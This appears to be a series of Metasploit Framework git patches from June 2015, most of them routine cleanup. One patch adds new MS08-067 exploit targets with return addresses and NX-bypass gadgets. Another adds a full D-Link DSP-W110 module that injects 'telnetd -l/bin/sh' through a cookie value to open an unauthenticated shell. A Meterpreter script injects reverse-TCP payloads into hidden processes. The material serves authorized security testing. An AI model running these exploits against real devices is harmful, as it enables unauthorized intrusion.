a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index 575c24f8ad..c167769728 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -20,11 +20,11 @@ payload_type = "windows/meterpreter/reverse_tcp" start_handler = nil @exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"], - "-m" => [ false, "Start exploit/multi/handler for return connection"], - "-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"], - "-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."], - "-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."] + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)."], + "-m" => [ false, "Start exploit/multi/handler for return connection."], + "-pt" => [ true, "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"], + "-mr" => [ true, "Provide multiple IP addresses for connections separated by comma."], + "-mp" => [ true, "Provide multiple PID for connections separated by comma one per IP."] ) meter_type = client.platform @@ -33,9 +33,9 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload" - print_line "in to memory of multiple PIDs, if none is provided a notepad process." - print_line "will be created and a Meterpreter Payload will be injected in to each." + print_line "Meterpreter script for injecting a reverce tcp Meterpreter payload" + print_line "in to memory of multiple PIDs. If none is provided, a notepad process" + print_line "will be created and a Meterpreter payload will be injected in to each." print_line(@exec_opts.usage) raise Rex::Script::Completed end @@ -43,7 +43,7 @@ end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") + print_error("#{meter} version of Meterpreter is not supported with this script!") raise Rex::Script::Completed end @@ -62,12 +62,12 @@ def inject(target_pid, payload_to_inject) host_process.thread.create(mem, 0) print_good("Successfully injected Meterpreter in to process: #{target_pid}") rescue::Exception => e - print_error("Failed to Inject Payload to #{target_pid}!") + print_error("Failed to Inject payload to #{target_pid}!") print_error(e) end end -# Function for Creation of Connection Handler +# Function for creation of connection handler #------------------------------------------------------------------------------- def create_multi_handler(payload_to_inject) mul = @client.framework.exploits.create("multi/handler") @@ -84,7 +84,7 @@ def create_multi_handler(payload_to_inject) end -# Function for Creating the Payload +# Function for creating the payload #------------------------------------------------------------------------------- def create_payload(payload_type,lhost,lport) print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}") @@ -98,7 +98,7 @@ end # Function starting notepad.exe process #------------------------------------------------------------------------------- def start_proc() - print_good("Starting Notepad.exe to house Meterpreter Session.") + print_good("Starting Notepad.exe to house Meterpreter session.") proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) print_good("Process created with pid #{proc.pid}") return proc.pid @@ -121,12 +121,12 @@ end end } -# Check for Version of Meterpreter +# Check for version of Meterpreter wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i -# Create a Multi Handler is Desired +# Create a exploit/multi/handler if desired create_multi_handler(payload_type) if start_handler -# Check to make sure a PID or Program name where provided +# Check to make sure a PID or program name where provided if multi_ip if multi_pid @@ -149,4 +149,3 @@ if multi_ip else print_error("You must provide at least one IP!") end - diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 9cfd185d25..27939d4a94 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -138,7 +138,7 @@ def write_script_to_target(target_dir,vbs) return tempvbs end -# Function for setting multi handler for autocon +# Function for setting exploit/multi/handler for autocon #------------------------------------------------------------------------------- def set_handler(selected_payload,rhost,rport) print_status("Starting connection handler at port #{rport} for #{selected_payload}") @@ -154,7 +154,7 @@ def set_handler(selected_payload,rhost,rport) 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true ) - print_good("Multi/Handler started!") + print_good("exploit/multi/handler started!") end # Function to execute script on target and return the PID of the process From 9dde32f52385421c6ef13467f52fe57ba7ea790e Mon Sep 17 00:00:00 2001 From: Samuel Huckins Date: Fri, 12 Jun 2015 16:48:54 -0500 Subject: [PATCH 0404/1013] Updating to MDM 1.2.3 MSP-12700 * Fixes issue with web_* data being loaded into memory unnecessarily --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 999bd2f902..20788623a7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -124,7 +124,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (1.0.2) - metasploit_data_models (1.2.2) + metasploit_data_models (1.2.3) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers From 7f0e334d78a08e60d02dccae445eb37f74630eb7 Mon Sep 17 00:00:00 2001 From: 0xFFFFFF Date: Sat, 13 Jun 2015 13:30:02 +0100 Subject: [PATCH 0405/1013] Added Windows 2003 SP1 & SP2 French targets msf exploit(ms08_067_netap) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows 2003 SP0 Universal 4 Windows XP SP2 English (AlwaysOn NX) [...] 62 Windows 2003 SP1 French (NX) 63 Windows 2003 SP2 English (NO NX) [...] 71 Windows 2003 SP2 French (NO NX) 72 Windows 2003 SP2 French (NX) --- .../exploits/windows/smb/ms08_067_netapi.rb | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index bbd5ac0eac..b16a60edf2 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -621,6 +621,27 @@ class Metasploit3 < Msf::Exploit::Remote 'Scratch' => 0x00020408, } ], + + # Standard return-to-ESI without NX bypass + # Added by Omar MEZRAG - 0xFFFFFF + [ 'Windows 2003 SP1 French (NO NX)', + { + 'Ret' => 0x71ac1c40 , + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Brett Moore's crafty NX bypass for 2003 SP1 + # Added by Omar MEZRAG - 0xFFFFFF + [ 'Windows 2003 SP1 French (NX)', + { + 'RetDec' => 0x7CA2568C, # dec ESI, ret @SHELL32.DLL + 'RetPop' => 0x7CB47CF4, # push ESI, pop EBP, ret 4 @SHELL32.DLL + 'JmpESP' => 0x7C98FED3, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], # Standard return-to-ESI without NX bypass ['Windows 2003 SP2 English (NO NX)', @@ -697,6 +718,27 @@ class Metasploit3 < Msf::Exploit::Remote 'Scratch' => 0x00020408 } ], # JMP ESI WS2HELP.DLL + + # Standard return-to-ESI without NX bypass + # Added by Omar MEZRAG - 0xFFFFFF + [ 'Windows 2003 SP2 French (NO NX)', + { + 'Ret' => 0x71AC2069, + 'Scratch' => 0x00020408, + } + ], # CALL ESI WS2HELP.DLL + + # Brett Moore's crafty NX bypass for 2003 SP2 + # Added by Omar MEZRAG - 0xFFFFFF + [ 'Windows 2003 SP2 French (NX)', + { + 'RetDec' => 0x7C98BEB8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7CB3E84E, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7C98A01B, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], # # Missing Targets From c7cda25582f8f01242cffec00573e2431bf1fda1 Mon Sep 17 00:00:00 2001 From: 0xFFFFFF Date: Sat, 13 Jun 2015 14:54:10 +0100 Subject: [PATCH 0406/1013] Empty lines removed at line 624 and line 721. Empty lines removed at line 624 and line 721. --- modules/exploits/windows/smb/ms08_067_netapi.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index b16a60edf2..ec7bd17085 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -621,7 +621,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Scratch' => 0x00020408, } ], - # Standard return-to-ESI without NX bypass # Added by Omar MEZRAG - 0xFFFFFF [ 'Windows 2003 SP1 French (NO NX)', @@ -718,7 +717,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Scratch' => 0x00020408 } ], # JMP ESI WS2HELP.DLL - # Standard return-to-ESI without NX bypass # Added by Omar MEZRAG - 0xFFFFFF [ 'Windows 2003 SP2 French (NO NX)', From 1b040f337425acec78136c4620b3c940a332bae6 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Sat, 13 Jun 2015 21:45:56 +0200 Subject: [PATCH 0407/1013] dsp-w110-command-injection --- .../http/dlink_dspw100_cookie_noauth_exec.rb | 119 ++++++++++++++++++ 1 file changed, 119 insertions(+) create mode 100644 modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb diff --git a/modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb new file mode 100644 index 0000000000..1fdc397291 --- /dev/null +++ b/modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Cookie Command Execution', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link + devices. The vulnerability is a command injection in the cookie handling process of the + lighttpd web server when handling specially crafted cookie values. This module has been + successfully tested on D-Link DSP-W110A1_FW105B01 in an emulated environment. + }, + 'Author' => + [ + 'Peter Adkins', # vulnerability discovery and initial PoC + 'Michael Messner ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'References' => + [ + ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC + ], + 'DisclosureDate' => 'Jun 12 2015', + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0 + )) + + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + }) + + if res && res.headers["Server"] =~ /lighttpd\/1.4.34/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the device ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + + telnetport = rand(32767) + 32768 + + cmd = "telnetd -p #{telnetport}" + + execute_command(cmd) + + handle_telnet(telnetport) + end + + def handle_telnet(telnetport) + + begin + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + + if sock + print_good("#{peer} - Backdoor service spawned") + add_socket(sock) + else + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") + end + + print_status "Starting a Telnet session #{rhost}:#{telnetport}" + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => nil, + 'PASSWORD' => nil + } + start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) + rescue + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled") + end + return + end + + def execute_command(cmd) + + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "/", + 'cookie' => "i=`#{cmd}`" + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end From c801e52f6065cc8e38731fbdd8be5288ab2a456e Mon Sep 17 00:00:00 2001 From: Joshua Abraham Date: Sat, 13 Jun 2015 17:02:43 -0400 Subject: [PATCH 0408/1013] Update smb_enumusers_domain.rb --- modules/auxiliary/scanner/smb/smb_enumusers_domain.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 250b2b9cf0..c0eac538da 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => 'Determine what domain users are logged into a remote system via a DCERPC to NetWkstaUserEnum.', 'Author' => [ - 'natron', # orignal module + 'natron', # original module 'Joshua D. Abraham ', # database storage ], 'References' => From ab6f3a73738e52551d829a338fe9d1f6d2e4441e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 13 Jun 2015 18:26:56 -0500 Subject: [PATCH 0409/1013] Fix #5531, the ```stage_payload``` method does not take arguments. --- lib/msf/core/payload/stager.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 4b33c00898..574e3ef6ae 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -138,7 +138,8 @@ module Msf::Payload::Stager if stage_assembly and !stage_assembly.empty? raw = build(stage_assembly, stage_offsets) else - raw = stage_payload(opts).dup + # Options get ignored by the stage_payload method + raw = stage_payload end # Substitute variables in the stage From 145637470a6dc4c3fe3a2029b9660d481e05a657 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Sun, 14 Jun 2015 08:27:23 +0200 Subject: [PATCH 0410/1013] port, email, cleanup --- ...h_exec.rb => dlink_dspw110_cookie_noauth_exec.rb} | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) rename modules/exploits/linux/http/{dlink_dspw100_cookie_noauth_exec.rb => dlink_dspw110_cookie_noauth_exec.rb} (92%) diff --git a/modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb similarity index 92% rename from modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb rename to modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index 1fdc397291..b971cd2655 100644 --- a/modules/exploits/linux/http/dlink_dspw100_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -18,11 +18,12 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an anonymous remote code execution vulnerability on different D-Link devices. The vulnerability is a command injection in the cookie handling process of the lighttpd web server when handling specially crafted cookie values. This module has been - successfully tested on D-Link DSP-W110A1_FW105B01 in an emulated environment. + successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real + device. }, 'Author' => [ - 'Peter Adkins', # vulnerability discovery and initial PoC + 'Peter Adkins ', # vulnerability discovery and initial PoC 'Michael Messner ', # Metasploit module ], 'License' => MSF_LICENSE, @@ -67,12 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") - telnetport = rand(32767) + 32768 - - cmd = "telnetd -p #{telnetport}" - + cmd = "telnetd -l/bin/sh" execute_command(cmd) - + telnetport = 23 handle_telnet(telnetport) end From c20cf15104e01b9da65ba232070504dba3cf732e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 15 Jun 2015 02:58:31 -0500 Subject: [PATCH 0411/1013] Msut have last_attempted_at key --- modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb index cab0349b09..1fdc49158d 100644 --- a/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/nessus/nessus_xmlrpc_login.rb @@ -132,6 +132,7 @@ class Metasploit3 < Msf::Auxiliary }.merge(service_data) login_data = { + last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) From 308b1a3d7f0e263b6c23b7af32363836b5d80287 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 15 Jun 2015 03:21:09 -0500 Subject: [PATCH 0412/1013] Don't deregister username & password --- modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index e4152f00a1..cc84d5e74c 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -38,7 +38,6 @@ class Metasploit3 < Msf::Auxiliary ) register_options([Opt::RPORT(31001)], self.class) - deregister_options('PASSWORD', 'USERNAME') end def run_host(ip) From 940d0450297938cfc42a81e388ed375571caa5b0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 15 Jun 2015 03:23:39 -0500 Subject: [PATCH 0413/1013] Correctly report rport --- modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index cc84d5e74c..4918004f32 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'") report_cred( ip: ip, - port: 21, + port: datastore['RPORT'], user: info[:username], password: info[:password], service_name: 'ftp' From 80f1173fcfce9b241d181c3322fc3ac024879df0 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 15 Jun 2015 10:12:07 -0700 Subject: [PATCH 0414/1013] Style and scanner usability cleanup for ssh_version --- modules/auxiliary/scanner/ssh/ssh_version.rb | 65 +++++++++++--------- 1 file changed, 36 insertions(+), 29 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 3a0f37834e..20a0768efd 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -5,67 +5,74 @@ require 'msf/core' - class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + # the default timeout (in seconds) to wait, in total, for both a successful + # connection to a given endpoint and for the initial protocol response + # from the supposed SSH endpoint to be returned + DEFAULT_TIMEOUT = 30 + def initialize super( 'Name' => 'SSH Version Scanner', 'Description' => 'Detect SSH Version.', 'References' => [ - [ 'URL', 'http://en.wikipedia.org/wiki/SecureShell' ], + [ 'URL', 'http://en.wikipedia.org/wiki/SecureShell' ] ], 'Author' => [ 'Daniel van Eeden ' ], 'License' => MSF_LICENSE ) register_options( - [ - Opt::RPORT(22), - OptInt.new('TIMEOUT', [true, 'Timeout for the SSH probe', 30]) - ], self.class) + [ + Opt::RPORT(22), + OptInt.new('TIMEOUT', [true, 'Timeout for the SSH probe', DEFAULT_TIMEOUT]) + ], + self.class + ) end - def to - return 30 if datastore['TIMEOUT'].to_i.zero? - datastore['TIMEOUT'].to_i + def timeout + datastore['TIMEOUT'] <= 0 ? DEFAULT_TIMEOUT : datastore['TIMEOUT'] end def run_host(target_host) begin - ::Timeout.timeout(to) do - + ::Timeout.timeout(timeout) do connect - resp = sock.get_once(-1, 5) + resp = sock.get_once(-1, timeout) - if (resp and resp =~ /SSH/) - ver,msg = (resp.split(/[\r\n]+/)) - # Check to see if this is Kippo, which sends a premature - # key init exchange right on top of the SSH version without - # waiting for the required client identification string. - if msg and msg.size >= 5 - extra = msg.unpack("NCCA*") # sz, pad_sz, code, data - if (extra.last.size+2 == extra[0]) and extra[2] == 20 - ver << " (Kippo Honeypot)" + if resp + if resp =~ /^SSH/ + ver, msg = resp.split(/[\r\n]+/) + # Check to see if this is Kippo, which sends a premature + # key init exchange right on top of the SSH version without + # waiting for the required client identification string. + if msg && msg.size >= 5 + extra = msg.unpack("NCCA*") # sz, pad_sz, code, data + if (extra.last.size + 2 == extra[0]) && extra[2] == 20 + ver << " (Kippo Honeypot)" + end end + print_status("#{target_host}:#{rport}, SSH server version: #{ver}") + report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ver) + else + vprint_warning("#{target_host}:#{rport} was not SSH --" \ + " #{resp.size} bytes beginning with #{resp[0, 12]}") end - print_status("#{target_host}:#{rport}, SSH server version: #{ver}") - report_service(:host => rhost, :port => rport, :name => "ssh", :proto => "tcp", :info => ver) else - print_error("#{target_host}:#{rport}, SSH server version detection failed!") + vprint_warning("#{target_host}:#{rport} no response") end - - disconnect end - rescue Timeout::Error - print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.") + vprint_warning("#{target_host}:#{rport} timed out after #{timeout} seconds. Skipping.") + ensure + disconnect end end end From feb7263137688fc11ba3809a69cf1a7b82cdde8a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 15 Jun 2015 11:42:20 -0700 Subject: [PATCH 0415/1013] Wire in recog support for ssh_version --- modules/auxiliary/scanner/ssh/ssh_version.rb | 26 ++++++++++++++------ 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 20a0768efd..21d83073f7 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'recog' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -36,10 +37,15 @@ class Metasploit3 < Msf::Auxiliary ) end + def peer + "#{rhost}:#{rport}" + end + def timeout datastore['TIMEOUT'] <= 0 ? DEFAULT_TIMEOUT : datastore['TIMEOUT'] end + def run_host(target_host) begin ::Timeout.timeout(timeout) do @@ -48,19 +54,25 @@ class Metasploit3 < Msf::Auxiliary resp = sock.get_once(-1, timeout) if resp - if resp =~ /^SSH/ - ver, msg = resp.split(/[\r\n]+/) + ident, first_message = resp.split(/[\r\n]+/) + if /^SSH-\d+\.\d+-(?.*)$/ =~ ident + if recog_match = Recog::Nizer.match('ssh.banner', banner) + info = recog_match.to_s + else + info = 'UNKNOWN' + print_warning("#{peer} unknown SSH banner: #{banner}") + end # Check to see if this is Kippo, which sends a premature # key init exchange right on top of the SSH version without # waiting for the required client identification string. - if msg && msg.size >= 5 - extra = msg.unpack("NCCA*") # sz, pad_sz, code, data + if first_message && first_message.size >= 5 + extra = first_message.unpack("NCCA*") # sz, pad_sz, code, data if (extra.last.size + 2 == extra[0]) && extra[2] == 20 - ver << " (Kippo Honeypot)" + info << " (Kippo Honeypot)" end end - print_status("#{target_host}:#{rport}, SSH server version: #{ver}") - report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: ver) + print_status("#{target_host}:#{rport}, SSH server version: #{ident}") + report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: info) else vprint_warning("#{target_host}:#{rport} was not SSH --" \ " #{resp.size} bytes beginning with #{resp[0, 12]}") From 079a9d449cba0e5ebeb4d50100c74d2228993dfa Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 15 Jun 2015 11:45:55 -0700 Subject: [PATCH 0416/1013] Use peer --- modules/auxiliary/scanner/ssh/ssh_version.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 21d83073f7..acce585636 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -71,18 +71,18 @@ class Metasploit3 < Msf::Auxiliary info << " (Kippo Honeypot)" end end - print_status("#{target_host}:#{rport}, SSH server version: #{ident}") + print_status("#{peer}, SSH server version: #{ident}") report_service(host: rhost, port: rport, name: 'ssh', proto: 'tcp', info: info) else - vprint_warning("#{target_host}:#{rport} was not SSH --" \ + vprint_warning("#{peer} was not SSH --" \ " #{resp.size} bytes beginning with #{resp[0, 12]}") end else - vprint_warning("#{target_host}:#{rport} no response") + vprint_warning("#{peer} no response") end end rescue Timeout::Error - vprint_warning("#{target_host}:#{rport} timed out after #{timeout} seconds. Skipping.") + vprint_warning("#{peer} timed out after #{timeout} seconds. Skipping.") ensure disconnect end From fd0b42be4a64257df7c5843ac44b5a4a292147f4 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 15 Jun 2015 12:45:14 -0700 Subject: [PATCH 0417/1013] Properly store quake service info --- modules/auxiliary/scanner/quake/server_info.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb index 259a1110df..7d4c9e24ea 100644 --- a/modules/auxiliary/scanner/quake/server_info.rb +++ b/modules/auxiliary/scanner/quake/server_info.rb @@ -55,10 +55,13 @@ class Metasploit3 < Msf::Auxiliary stuff = decode_info(response) when 'status' stuff = decode_status(response) + else + stuff = {} end if datastore['VERBOSE'] - stuff.inspect + # get everything + stuff else # try to get the host name, game name and version stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) } @@ -68,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary def scanner_process(response, src_host, src_port) stuff = decode_stuff(response) return unless stuff - @results[src_host] ||= [] + @results[src_host] ||= {} print_good("#{src_host}:#{src_port} found '#{stuff}'") - @results[src_host] << stuff + @results[src_host].merge!(stuff) end def scanner_postscan(_batch) @@ -81,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary proto: 'udp', port: rport, name: 'Quake', - info: stuff + info: stuff.inspect ) end end From 0b88e86a490bf0039978ceb7ae3389256e80cf00 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 15 Jun 2015 16:06:57 -0500 Subject: [PATCH 0418/1013] Using the new cred API for multiple auxiliary modules --- .../scanner/http/axis_local_file_include.rb | 36 +++-- .../auxiliary/scanner/http/cisco_asa_asdm.rb | 38 +++-- .../scanner/http/cisco_ironport_enum.rb | 38 +++-- .../auxiliary/scanner/http/cisco_ssl_vpn.rb | 40 +++-- .../http/dlink_dir_300_615_http_login.rb | 37 +++-- .../scanner/http/dlink_dir_615h_http_login.rb | 36 +++-- .../http/dlink_dir_session_cgi_http_login.rb | 36 +++-- .../auxiliary/scanner/http/dolibarr_login.rb | 36 +++-- .../scanner/http/drupal_views_user_enum.rb | 26 ++++ .../scanner/http/ektron_cms400net.rb | 38 +++-- .../scanner/http/etherpad_duo_login.rb | 37 +++-- .../auxiliary/scanner/http/infovista_enum.rb | 39 +++-- .../scanner/http/joomla_bruteforce_login.rb | 39 +++-- .../scanner/http/novell_mdm_creds.rb | 34 ++++- .../scanner/http/splunk_web_login.rb | 34 ++++- modules/auxiliary/scanner/http/vcms_login.rb | 36 +++-- .../auxiliary/scanner/misc/cctv_dvr_login.rb | 37 +++-- .../scanner/telnet/telnet_ruggedcom.rb | 36 +++-- .../scanner/vmware/vmware_http_login.rb | 34 ++++- modules/auxiliary/voip/asterisk_login.rb | 36 +++-- .../auxiliary/test/report_auth_info.rb | 142 ++++++++++++++++++ 21 files changed, 678 insertions(+), 187 deletions(-) create mode 100644 test/modules/auxiliary/test/report_auth_info.rb diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 570df1e2b1..36d12c6d3a 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -70,6 +70,32 @@ class Metasploit3 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + }.merge(service_data) + + create_credential_login(login_data) + end + def get_credentials(uri) lfi_payload = "?xsd=../conf/axis2.xml" @@ -96,15 +122,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => username, - :pass => password, - :proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}", - :active => true - ) + report_cred(ip: rhost, port: rport, user: username, password: password) else print_error("#{target_url} - Apache Axis - Not Vulnerable") diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index 